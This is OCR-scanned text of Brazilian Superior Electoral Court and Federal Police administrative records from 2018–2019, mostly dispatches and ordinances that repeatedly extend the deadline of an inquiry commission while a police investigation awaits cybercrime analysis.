' Consideram-se como entregas aquelas atividades do projeto que produzem produtos tangiveis, resultados ou servigos, os quais possuem valor
mensuravel e observavel ao cliente do projeto, ou que sejam de seu especial interesse para acompanhamento.

2 Término Planejado é determinado quando é feito o planejamento do cronograma, podendo ser replanejado no decorrer da iniciativa.

* Consideram-se como Inicio Real entregas ja iniciadas. Caso a entrega ainda néo tenha sido iniciada, considera-se Inicio Previsto.

4 Consideram-se como Término Real entregas concluidas. Caso a entrega ainda nao tenha sido conluida, considera-se Término Previsto.

Consideragoes

nos termos do § 1°

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933,

Plano de agdo formalizado em 21/11/2018. As atividades estdo em andamento, conforme planejado.

RDIn - Relatério de desempenho de iniciativa_new2

‘ \:Versaa do modelo: 1.0 - 27/07/2017
—

Y Este documento tem o nesno val or probante do original apresentado,
Aut enti cado por Escrivao de Policia Federal,

Pagina 5 de



Sigiloso

SR/ PF/ DF
2020. 0043195

TRIBUNAL SUPERIOR ELEITORAL

DESPACHO

Senhora Ministra Presidente,

Visando ao cumprimento da Portaria-TSE n° 976/2018, a Comissdo de Sindicincia oficiou ao
Departamento de Policia Federal, em 20/11/2018, solicitando o compartilhamento dos resultados
da investigacdo promovida por aquele 6rgao envolvendo os fatos descritos na Informagao n°® 32

STI, solicitacdo que, por ndo ter sido atendida até o momento, foi renovada nesta data.

Assim, tendo em vista o esgotamento do prazo originariamente fixado para conclusdo do trabalho

atribuido a Comissao de Sindicéancia, solicito a Vossa Exceléncia a prorrogacdo daquele prazo.

Respeitosamente,

RICARDO FIOREZE

Presidente da Comissao de Sindicincia

RICARDO FIOREZE
JUIZ AUXILIAR DA PRESIDENCIA DO TRIBUNAL SUPERIOR ELEITORAL
Documento assinado eletronicamente em 31/01/2019, as 20:12, conforme art. 1°, §2°, III,
b, da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/11/2020, as 11h20.

2018.00.000014309-3 Documento n° 0963434 v2

Est e document o t.%m o mesno val or probante do original apresentado, nos ternbps do § 1° do Art. 11 da Lei 11.419/2006.

Aut enti cado por Escrivao de Policia Federal,



Sigiloso

FI . 349
SR/ PF/ DF
2020. 0043195

TRIBUNAL SUPERIOR ELEITORAL
Oficio n° 296 GAB-SPR
Brasilia, 01 de fevereiro de 2019.

A Sua Exceléncia o Senhor

Dr. MAURICIO LEITE VALEIXO
Diretor-Geral da Policia Federal
Brasilia - DF

11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/11/2020, as 11h20.

Assunto: Oficio n° 5825 GAB-SPR. Medidas de policia judiciaria.

Senhor Diretor-Geral,

Reiterando o Oficio n°® 5979 GAB-SPR, de 20/11/2018, solicito a gentileza de, em
cariter reservado, serem enviados a mim os resultados da investigacdo promovida por esse
Departamento envolvendo as informacgdes constantes na Informacio n® 32 STI, enviadas a esse
Departamento por meio do Oficio n° 5825 GAB-SPR.

Atenciosamente,

RICARDO FIOREZE
Juiz Auxiliar da Presidéncia
Presidente da Comissao de Sindicancia
RICARDO FIOREZE
JUIZ AUXILIAR DA PRESIDEN CIA DO TRIBUNAL SUPERIOR ELEITORAL

Documento assinado eletronicamente em 04/02/2019, as 09:33, conforme art. 1°, §2°, III,
b, da Lei 11.419/2006.

Este documento tem o nmesnp val or probante do original apresentado, nos ternbs do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,

A autenticidade do documento pode ser conferida em

s '-'-;[._ https://sei.tse.jus.br/sei/controlador externo.php?
Fel sty

Tl'l:"ﬁ'.l-.f-;.. acao=documento conferir&id orgao acesso externo=0&cv=0963982&crc=B7CIFIBA,
sh informando, caso ndo preenchido, o codigo verificador 0963982 e o c6digo CRC

B7C9F9BA.
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Sigiloso

SR/ PF/ DF
2020. 0043195

TRIBUNAL SUPERIOR ELEITORAL

Portaria TSE n° 84 de 01 de fevereiro de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o
contido no Processo SEI n° 2018.00.000014309-3,

RESOLVE:

11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/11/2020, as 11h20.

prorrogar, por sessenta dias, o prazo para conclusio dos trabalhos da Comissdo de
Sindicancia instituida pela Portaria-TSE 976, de 08.11.2018.

Ministra ROSA WEBER

2018.00.000014309-3 Documento n® 0963985 v1

Este documento tem o nmesnp val or probante do original apresentado, nos ternbs do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,



Siailoso
Fl . 323

SR/ PF/ DF

20. 0043195

L & g

TRIBUNAL SUPERIOR ELEITORAL 75 .09. 0] o
Oficio n® 296 GAB-SPR
Brasilia, 01 de fevereiro de 2019.

A Sua Exceléncia o Senhor

Dr. MAURICIO LEITE VALEIXO
Diretor-Geral da Policia Federal
Brasilia - DF

11 da Lei 11.419/2006.

LEONARDO BRUCE MADURE! RA LOPES, MATRI CULA: 17933, em 04/11/2020, as 11h20.

Assunto: Oficio n® 5825 GAB-SPR. Medidas de policia judiciaria.
Senhor Diretor-Geral,

Reiterando o Oficio n® 5979 GAB-SPR, de 20/11/2018, solicito a gentileza de, em
carater reservado, serem enviados a mim os resultados da investigacao promovida por esse
Departamento envolvendo as informagdes constantes na Informagdo n2 32 STI, enviadas
a esse Departamento por meio do Oficio n® 5825 GAB-SPR.

Atenciosamente,

RICARDO FIOREZE
Juiz Auxiliar da Presidéncia
Presidente da Comissio de Sindicancia

RICARDO FIOREZE
JUIZ AUXILIAR DA PRESIDENCIA DO TRIBUNAL SUPERIOR ELEITORAL

“*'| Documento assinado eletronicamente em 04/02/2019, as 09:33, conforme art. 19, §22, 111,
b, da Lei 11.419/2006.

1 acao=documento conferir&id orgao acesso externo=08&cv=0963982&crc=B7C9FIBA,
informando, caso nao preenchido, o cddigo verificador 0963982 e o cddigo CRC

Este docunmento tem o nmesnp val or probante do original apresentado, nos ternps do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,

2018.00.000014309-3 Documento n” 0963982 v4
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22R

FI . 246
SR/ PF/ DF
2020. 0043195

TRIBUNAL SUPERIOR ELEITORAL
Portaria TSE n2 84 de 01 de fevereiro de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no & &
Processo SEIn® 2018.00.000014309-3, g 8

RESOLVE: o §

prorrogar, por sessenta dias, o prazo para conclusao dos trabalhos da Comissio de ¢ %
Sindicéncia instituida pela Portaria-TSE 976, de 08.11.2018. E‘

' //721 C{',"f:&éi"i

Minjétrd ROSA WEBER

f

(

nos ternos do § 1°

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933,

2018.00.000014309-3 Documento n® 0963985 v1

Este docunento tem o nesnp val or probante do original apresentado,

Autenti cado por Escrivao de Policia Federal,

https://sei tse jus.br/sei/controlador phpZacac=dosurmento_inprimii web&acao_crigerm=anoniz (\isue lizarfd _documenic=1022827&infra_sistem... 1/1



Sigiloso

E-mail - 0969863 SR/ PF/ DF

2020. 0043195

Data de Envio:
08/02/2019 18:30:30

De:
TSE/Presidéncia <presidencia@tse.jus.br>

Para:
ricardo.fioreze@tse.jus.br
fernando.mello@tse.jus.br
daniel.correa@tse.jus.br

as 11h20.

Assunto:
Portaria TSE n2 84

Mensagem:

Senhores Membros,
De ordem, informo a todos que foi prorrogada, por sessenta dias, o prazo para conclusao dos trabalhos de
Comissao de Sindicancia instituida pela Portaria-TSE 976, de 08.11.2018.

A Portaria sera publicada no DJE em 12/02/2019.
Respeitosamente,

Sérgio Trés

Secretaria-Geral da Presidéncia

Tribunal Superior Eleitoral
Telefone (61) 3030-7837

Anexos:
Portaria_0969851 Portaria_84.pdf

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/ 11/ 2020,

Este docunmento tem o nmesnp val or probante do original apresentado, nos ternps do § 1° do Arg' 11 da Lei 11.419/2006.

Aut enti cado por Escrivao de Policia Federal,
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PRESIDENCIA

Atos da Presidéncia

=)
g 5
Portaria I
s 2
—
~ -
< Q
- o
Prorrogagdo. Prazo. Trabalhos. Comissao de Sindicancia. _
L3
Portaria TSE n2 84 de 01 de fevereiro de 2019. © g
T o
= 5
A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEl n2 2018.00.000014309-3, E
RESOLVE: S

prorrogar, por sessenta dias, o prazo para conclusdo dos trabalhos da Comissdo de Sindicancia instituida pela Portaria-TSE 976,
de 08.11.2018.

nos ternos do § 1°

apr esent ado
LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933,

Ministra ROSA WEBER

SECRETARIA JUDICIARIA

Coordenadoria de Registros Partidarios, Autuagdo e Distribuicao

Decisdo monocratica

PUBLICACAO DE DECISAO N2 4/2019 CPADI

PRESTAGAO DE CONTAS N2 256-12.2015.6.00.0000 BRASILIA-DF

REQUERENTE: PARTIDO TRABALHISTA NACIONAL (PTN) - NACIONAL / PODEMOS (PODE) - NACIONAL
ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS

REQUERENTE: JOSE MASCI DE ABREU, PRESIDENTE

Este docunento tem o nesnp val or probante do ori gi nal

Aut enti cado por Escrivao de Policia Federal,

ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS
REQUERENTE: MARCIA MARTINS PEREIRA CRAVO, TESOUREIRO
ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS
REQUERENTE: FATIMA DE JESUS CHAVES, CONTABILISTA
ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS
MINISTRO GERALDO OG NICEAS MARQUES FERNANDES
PROTOCOLO: 8.715/2015

Didrio da Justica Eletrénico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra
estrutura de Chaves Publicas Brasileira - ICP-Brasil, podendo ser acessado no endereco eletrdnico http://www.tse.jus.br
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Data de Envio:
25/02/2019 15:59:29

De:
TSE/Presidéncia <presidencia@tse.jus.br>

Para:
dg@dpf.gov.br
aedg@dpf.gov.br
cgab@dpf.gov.br

Assunto:
Oficios 5979/2018 e 296/2019

Mensagem:
Prezados Senhores,

11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/11/2020, as 11h20.

De ordem, solicito a gentileza de ser informado o andamento dado aos documentos encaminhados ao
Departamento da Policia Federal, relativamente aos oficios 5979/2018 e 296/2019, considerando-se os
prazos a serem observados pela Comissao de Sindicancia do TSE.

Havendo alguma previsao para o atendimento, favor informar adicionalmente.

Atenciosamente,

Sérgio Trés

Secretaria-Geral da Presidéncia
Tribunal Superior Eleitoral
Telefone (61) 3030-7837

Anexos:
Oficio_0911585.html
Oficio_0913985_Oficio_5825.pdf
E_mail _0918365.html
Oficio_0963982.html
Oficio_0965808 OF 296 GAB_SPR.pdf

Este documento tem o nmesnp val or probante do original apresentado, nos ternbs do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,
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SR/ PF/ DF

Sérgio Carlos Trés E Silva Gl DRITICRTS

De: Presidencia

Enviado em: quinta-feira, 28 de fevereiro de 2019 17:07

Para: Sérgio Carlos Trés E Silva

Assunto: ENC: Envio do Oficio n® 1468/2019 - IPL 1361/2018-4 SR/PF/DF, para o devido
conhecimento.

Anexos: 28021900.PDF

S
s £
9 =
 ~
De: edvaldo souza nascimento Nascimento [mailto:edwalldi06@gmail.com] 3 8
Enviada em: quinta-feira, 28 de fevereiro de 2019 16:42 : S
Para: Presidencia R
Assunto: Envio do Oficio n® 1468/2019 - IPL 1361/2018-4 SR/PF/DF, para o devido conhecimento. S 3
s 3
< E
(]
A Sua Exceléncia, o Senhor E
]
RICARDO FIOREZE :3
Juiz Auxiliar da Presidéncia do Tribunal Superior Eleitoral g
BRASILIA/DF §

De ordem do Excelentissimo Senhor Delegado de Policia Federal HUGO DE BARROS CORREIA, encaminho a Vossa Exceléncia
o Oficio n°® 1468/2019 - IPL 1361/2018-4 SR/PF/DF, para o devido conhecimento.

Por oportuno, solicito a V.Exa, que confirme o recebimento deste expediente através deste e-mail.

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933,

Respeitosamente,

EDVALDO SOUZA NASCIMENTO

ESCRIVAO DE POLICIA FEDERAL

MATRICULA N° 926 - ESPECIAL

TELEFONE SR/PF/DF - DELEFAZ

Este docunmento tem o nmesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal,

(61) 20247595
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SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-802

Oficio n® 1468/2019 - IPL 1361/2018-4 SR/PF/DF - GRCC

Brasilia/DF, 26 de fevereiro de 201

0

04/11/ 2020, as 11h20.

A Sua Exceléncia, o Senhor

RICARDO FIOREZE

Juiz Auxiliar da Presidéncia do Tribunal Superior Eleitoral

Setor de Administracdo Federal Sul (SAFS), Quadra 7, Lotes 1/2- Tel.: (61) 3030-70

CEP.; 70070-600 - Brasilia/DF

em

0°

Assunto: Solicitagéo de informactes
Ref.: IPL 13681/2018-4 - SR/PF/DF - (Favor citar essa referéncia na resposta)

Senhor Juiz Auxiliar,

do, nos ternos do § 1° do Art.C21 da Lei 11.419/200

LEONARDO B&JCEq\/AIjUREI-RA LOPES, MATRI CULA: 17933,

Visando instruir os autos do Inquérito Policial n® 1361/2018-4
SR/PF/DF, informo a Vossa Exceléncia que o inqueérito esta em andamento, restan
pendente, atualmente, andlise por parte do Servigo de Repressao a Crim
Cibernéticos do material encaminhado pelo TSE. _

r €gent a

Atenciosamente,

=z

/’ R NEVES FEITOSA CAMPOS
Delegado de Policia Federal
Classe Especial - Matricula n® 16.179

B 0s
Hugo 8¢ - qe poticha Fet’lc“"‘F
Dc'tf-'%"‘d mw\i‘.ﬁnl'it"‘-l“ v

AT "ltﬂ

Este docunmento tem o nmesno val or probante do ori ginal

Aut enti cado por Escrivao de Policia Federal,

IPLANY A863/20718 fls. 1/1
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TRIBUNAL SUPERIOR ELEITORAL
DESPACHO

Senhora Ministra Presidente,

as 11h20.

Visando ao cumprimento da Portaria-TSE n°® 976/2018, a Comissdo de Sindicancia
oficiou ao Departamento de Policia Federal, em 20/11/2018, solicitando o

compartilhamento dos resultados da investigacdo promovida por aquele 6rgdo

11 da Lei 11.419/2006.

envolvendo os fatos descritos na Informagao n° 32 STL

do Art.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/ 11/ 2020,

Em resposta aquela solicitacdo, o Departamento de Policia Federal informou que o
inquérito 14 instaurado se encontra em tramitacdo, no aguardo de andlise, por parte
de area especializada daquele 6rgdo, do material enviado por este Tribunal.

Assim e dada a conveniéncia de aguardo do resultado da andlise antes mencionada,

nos ternos do § 1°

tendo em vista o iminente esgotamento do prazo por dltimo fixado para conclusio
do trabalho atribuido a Comissdao de Sindicincia, solicito a Vossa Exceléncia a

prorrogacdo daquele prazo.

Respeitosamente,

RICARDO FIOREZE

Presidente da Comissao de Sindicincia

RICARDO FIOREZE

JUIZ AUXILIAR DA PRESIDENCIA DO TRIBUNAL SUPERIOR
ELEITORAL

Documento assinado eletronicamente em 28/02/2019, as 18:50,
conforme art. 1°, §2°, III, b, da Lei 11.419/2006.

Este docunmento tem o nmesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal,

A autenticidade do documento pode ser conferida em

- https:/sei.tse.jus.br/sei/controlador externo.php?

‘._,._. acao=documento conferir&id orgao acesso externo=0&cv=0986569&crc=75B32663,

? informando, caso ndo preenchido, o cddigo verificador 0986569 e o c6digo CRC
75B32663.

2018.00.000014309-3 Documento n” 0986569 v3
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TRIBUNAL SUPERIOR ELEITORAL

Portaria TSE n° 173 de 28 de fevereiro de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o
contido no Processo SEI n° 2018.00.000014309-3,

RESOLVE:

11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/11/2020, as 11h20.

prorrogar, por sessenta dias, o prazo para conclusio dos trabalhos da Comissdo de
Sindicancia instituida pela Portaria-TSE 976, de 08.11.2018.

Ministra ROSA WEBER

2018.00.000014309-3 Documento n® 0986630 v1

Este documento tem o nmesnp val or probante do original apresentado, nos ternbs do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,
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TRIBUNAL SUPERIOR ELEITORAL
Portaria TSEn?2 173 de 28 de fevereiro de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no
Processo SEI n2 2018.00.000014309-3,

RESOLVE:

11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933, em 04/11/2020, as 11h20.

prorrogar, por sessenta dias, o prazo para conclusio dos trabalhos da Comissio de
Sindicancia instituida pela Portaria-TSE 976, de 08.11.2018,

. ,' 711“ LL;‘.L. (.e |
Ministfa ROSA WEBER

2018.00.000014309-3 Documento n” 0986630 v1

Este docunmento tem o mesno val or probante do original apresentado, nos ternps do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,
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Portaria

Prorrogagdo. Trabalhos. Comissdo de Sindicancia.

Portaria TSE n2 173 de 28 de fevereiro de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEl n2 2018.00.000014309-3,

RESOLVE:

.o
g =

o
prorrogar, por sessenta dias, o prazo para conclusdo dos trabalhos da Comissdo de Sindicancia instituida pela Portaria-TSE 976, & :
de 08.11.2018. g S
3 8
— N
23
83
Ministra ROSA WEBER o °
o €
[}

<

o

©

Assessoria de Plenario

Pauta de Julgamento

nos ternos do § 1°

apr esent ado
LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933,

PAUTA DE JULGAMENTO N2 15/2019

Elaborada nos termos do artigo 18 da Resolugdo-TSE n2 23.478/2016, para julgamento dos processos abaixo relacionados.

Pauta da Sessdo Ordinaria Jurisdicional de 12 de margo de 2019.

AGRAVO REGIMENTAL NO AGRAVO DE INSTRUMENTO N2 1-32.2017.6.11.0015 - CLASSE 6 - SAO FELIX DO ARAGUAIA-MT
(152 ZONA ELEITORAL - SAO FELIX DO ARAGUAIA)

RELATOR: MINISTRO ADMAR GONZAGA

AGRAVANTES: PARTIDO POPULAR SOCIALISTA (PPS) - MUNICIPAL e Outros
ADVOGADOS: ELLY CARVALHO JUNIOR - OAB: 6132/MT e Outro
AGRAVADOS: JANAILZA TAVEIRA LEITE e Outro

ADVOGADOS: DANILO SCHEMBEK SOUZA - OAB: 19907/MT e Outra

Este docunento tem o nesnp val or probante do ori gi nal

AGRAVO REGIMENTAL NO RECURSO ESPECIAL ELEITORAL N2 1-74.2017.6.10.0010 - CLASSE 32 - SAO LUiS-MA (102 ZONA
ELEITORAL - SAO LUIS)

Aut enti cado por Escrivao de Policia Federal,

RELATOR: MINISTRO TARCISIO VIEIRA DE CARVALHO NETO

AGRAVANTE: MINISTERIO PUBLICO ELEITORAL

AGRAVADO: PAULO VICTOR MELO DUARTE

ADVOGADOS: JOSE EDUARDO RANGEL DE ALCKMIN - OAB: 2977/DF e Outros

Didrio da Justica Eletrénico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra
estrutura de Chaves Publicas Brasileira - ICP-Brasil, podendo ser acessado no endereco eletrdnico http://www.tse.jus.br
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TRIBUNAL SUPERIOR ELEITORAL
DESPACHO

Senhora Ministra Presidente,

as 11h20.

Em razdo da persisténcia da situacdo noticiada no expediente 0986569,
reitero a solicitacdo 14 contida, de prorrogacdo do prazo por ultimo fixado para

conclusio do trabalho atribuido a Comissao de Sindicéncia.

Respeitosamente,

RICARDO FIOREZE

Presidente da Comissdo de Sindicancia

RICARDO FIOREZE
JUIZ AUXILIAR DA PRESIDENCIA DO TRIBUNAL SUPERIOR
ELEITORAL
9] Documento assinado eletronicamente em 23/05/2019, as 09:2 , conforme art.

1°,§2° 111, b, da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/ 11/ 2020,

2018.00.000014309-3 Documento n® 1050199 v2

Autenti cado por Escrivao de Policia Federal,
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TRIBUNAL SUPERIOR ELEITORAL

Portaria TSE n° 380 de 23 de maio de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR
ELEITORAL, tendo em vista o contido no Processo SEI n°
2018.00.000014309-3,

11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/11/2020, as 11h20.

RESOLVE:

prorrogar, por sessenta dias, o prazo para conclusdo dos
trabalhos da Comissdo de Sindicancia instituida pela Portaria-TSE 976,
de 08.11.2018.

Ministra ROSA WEBER

2018.00.000014309-3 Documento n” 1050653 vl

Este documento tem o nmesnp val or probante do original apresentado, nos ternbs do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,
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TRIBUNAL SUPERIOR ELEITORAL
Portaria TSE n2 380 de 23 de maio de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o
contido no Processo SEI n? 2018.00.000014309-3,

RESOLVE:

11 da Lei 11.419/2006.

prorrogar, por sessenta dias, o prazo para conclusdo dos trabalhos da
Comissdo de Sindicancia instituida pela Portaria-TSE 976, de 08.11.2018.

“ff ,1 1 l«vfﬂté}/‘l
Ministra ROSA WEBER

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933, em 04/11/2020, as 11h20.

Este documento tem o nmesnp val or probante do original apresentado, nos ternps do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,

2018.00.000014309-3 Documento n® 1050653 v1
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SECRETARIA DE SEGURANGA E TRANSPORTE ..ottt e e e e e e e e e e e e e e e e s

COMISSAO PERMANENTE DE ETICA E SINDICANCIA DO TSE

PRESIDENCIA

Atos da Presidéncia

; 8

Portaria S £

N —

s 2

¥

Prorrogacgdo. Trabalhos. Comissdo de Sindicancia. : Q

o

Portaria TSE n2 380 de 23 de maio de 2019. T ;

—

s 3

-4 £

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI n2 2018.00.000014309-3, - °
RESOLVE: z
3

prorrogar, por sessenta dias, o prazo para conclusdo dos trabalhos da Comissdo de Sindicancia instituida pela Portaria-TSE 976,
de 08.11.2018.

nos ternos do § 1°

apr esent ado
LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933,

Ministra ROSA WEBER

Instituicdo. Grupo de Trabalho. A¢Ges. TSE. Desinformagdo e eleiges.

Portaria TSE n2 382 de 24 de maio de 2019.

Institui grupo de trabalho incumbido de elaborar propostas de novas linhas de ag¢do do Tribunal Superior Eleitoral sobre
desinformacdo e eleigdes.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuicobes legais e regimentais,
CONSIDERANDO a necessidade de estabelecer estratégias para o tema da desinformagédo nas eleicGes municipais de 2020,

CONSIDERANDO o encerramento dos trabalhos do Conselho Consultivo sobre Internet e Elei¢des (Portaria-TSE n2 949/2017) —
voltado ao estudo do fendmeno das fake news durante as eleigSes gerais de 2018,

CONSIDERANDO a classificagdo, no grau de sigilo reservado, pelo entdo Secretario-Geral da Presidéncia do TSE, das atas
reunides do Conselho Consultivo,

CONSIDERANDO o contido no art. 29 da Lei n2 12.527/2011 (Lei de Acesso a Informagéo),

RESOLVE:

Este docunento tem o nesnp val or probante do ori gi nal

Aut enti cado por Escrivao de Policia Federal,

Art. 19 Fica instituido grupo de trabalho incumbido de analisar os conteldos apresentados no Seminario Internacional Fake
News e Elei¢des e na reunido prévia de alinhamento interno, bem como o teor das atas do Conselho Consultivo sobre Internet e
EleicBes (Portaria-TSE n2 949/2017) e dos videos gravados pela Assessoria de Comunicagdo do TSE, com especialistas no tema,
para, no prazo de 10 (dez) dias, apresentar proposta de agdo do Tribunal Superior Eleitoral sobre desinformagéo e eleigdo.

Art. 22 O grupo tera a seguinte composigdo:
| - Dr. Ricardo Fioreze, Juiz Auxiliar do Gabinete da Presidéncia, Coordenador;

Il - Dr. Sandro Nunes Vieira, Juiz Auxiliar do Gabinete da Vice-Presidéncia, Coordenador substituto;

Didrio da Justica Eletrénico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra
estrutura de Chaves Publicas Brasileira - ICP-Brasil, podendo ser acessado no endereco eletrdnico http://www.tse.jus.br
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TRIBUNAL SUPERIOR ELEITORAL

DESPACHO

Senhora Ministra Presidente,

as 11h20.

Em razao da persisténcia da situacao noticiada no

expediente 0986569, reitero a solicitacdo la contida, de prorrogacao
do prazo por ultimo fixado para conclusao do trabalho atribuido a
Comissao de Sindicancia.

Respeitosamente,

RICARDO FIOREZE

Presidente da Comissdo de Sindicincia

RICARDO FIOREZE
JUIZ AUXILIAR DA PRESIDENCIA DO TRIBUNAL SUPERIOR
ELEITORAL
Documento assinado eletronicamente em 29/07/2019, as 15:29, conforme art.

1°,§2° 111, b, da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/ 11/ 2020,

A autenticidade do documento pode ser conferida em

» https://sei.tse.jus.br/sei/controlador externo.php?

Tor fiEy ol ey

.E"'I':'lir.ﬁl'ﬂ'-;,_- acao=documento conferir&id orgao acesso externo=0&cv=1101627&crc=0A19CB

L e informando, caso ndo preenchido, o cédigo verificador 1101627 e o cédigo CRC
0A19CBB6.

2018.00.000014309-3 Documento n® 1101627 v3

Este docunmento tem o nmesno vgor probante do original apresentado, nos ternps do § 1° do Art. 11 da Lei 11.419/2006.

Autenti cado por Escrivao de Policia Federal,
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TRIBUNAL SUPERIOR ELEITORAL

Portaria TSE n° 566 de 29 de julho de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR
ELEITORAL, tendo em vista o contido no Processo SEI n°
2018.00.000014309-3,

11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/11/2020, as 11h20.

RESOLVE:

prorrogar, por sessenta dias, o prazo para conclusdo dos
trabalhos da Comissdo de Sindicancia instituida pela Portaria-TSE 976,
de 08.11.2018.

Ministra ROSA WEBER

2018.00.000014309-3 Documento n” 1101862 vl

Este documento tem o nmesnp val or probante do original apresentado, nos ternbs do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,
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TRIBUNAL SUPERIOR ELEITORAL

Portaria TSE n2 566 de 29 de julho de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o
contido no Processo SEI n?2 2018.00.000014309-3,

RESOLVE:

11 da Lei 11.419/2006.

prorrogar, por sessenta dias, o prazo para conclusdo dos trabalhos da
Comissdo de Sindicancia instituida pela Portaria-TSE 976, de 08.11.2018.

istra ROSA WEBER

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933, em 04/11/2020, as 11h20.

Este docunmento tem o nmesno val or probante do original apresentado, nos ternmps do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,

2018.00.000014309-3 Documento n® 1101862 v1
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Diario da Justica Eletrénico (DJE)

~all Tribunal Superior Eleitoral

Ano 2019, Nimero 147 Divulgacdo: quarta-feira, 31 de julho de 2019
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Portaria

Prorrogacgdo. Prazo. Comissdo de Sindicancia.

Portaria TSE n2 566 de 29 de julho de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI n2 2018.00.000014309-3, . g'
© =
o
RESOLVE: S o
3 4
< -
A , <
prorrogar, por sessenta dias, o prazo para conclusdo dos trabalhos da Comissdo de Sindicancia instituida pela Portaria-TSE 976, — 2
de 08.11.2018. T 5
—
3 3
=5
Ministra ROSA WEBER <
o
©

Prorrogagdo. Prazo. Comissdo de Processo Administrativo Disciplinar.

Portaria TSE n2 567 de 30 de julho de 2019.

nos ternos do § 1°

apr esent ado
LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933,

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI n2 2019.00.000003043-0,
RESOLVE:

prorrogar, por sessenta dias, o prazo para conclusdo dos trabalhos da Comissdao de Processo Administrativo Disciplinar,
instituida pela Portaria-TSE 226, de 21.3.2019.

Ministra ROSA WEBER

Assessoria de Plenario

Ata de Julgamento

ATA DA 552 SESSAO, EM 28 DE MAIO DE 2019

SESSAO ORDINARIA ADMINISTRATIVA

Este docunento tem o nesnp val or probante do ori gi nal

Aut enti cado por Escrivao de Policia Federal,

Presidéncia da Senhora Ministra Rosa Weber. Presentes os Senhores Ministros Luis Roberto Barroso, Edson Fachin, Jorge Mussi,
Og Fernandes, Tarcisio Vieira de Carvalho Neto e Sérgio Banhos. Vice-Procurador-Geral Eleitoral, o Dr. Humberto Jacques de
Medeiros. Diretor-Geral, Anderson Vidal Corréa. As dezenove horas e vinte e sete minutos foi aberta a sessdo.

REGISTROS

Didrio da Justica Eletrénico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra
estrutura de Chaves Publicas Brasileira - ICP-Brasil, podendo ser acessado no endereco eletrdnico http://www.tse.jus.br
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TRIBUNAL SUPERIOR ELEITORAL

DESPACHO
A considerar o periodo transcorrido desde o recebimento da § %
informacdo 0986380, diligencio na solicitacdo de novas informagdes. 3 4
RICARDO FIOREZE ;
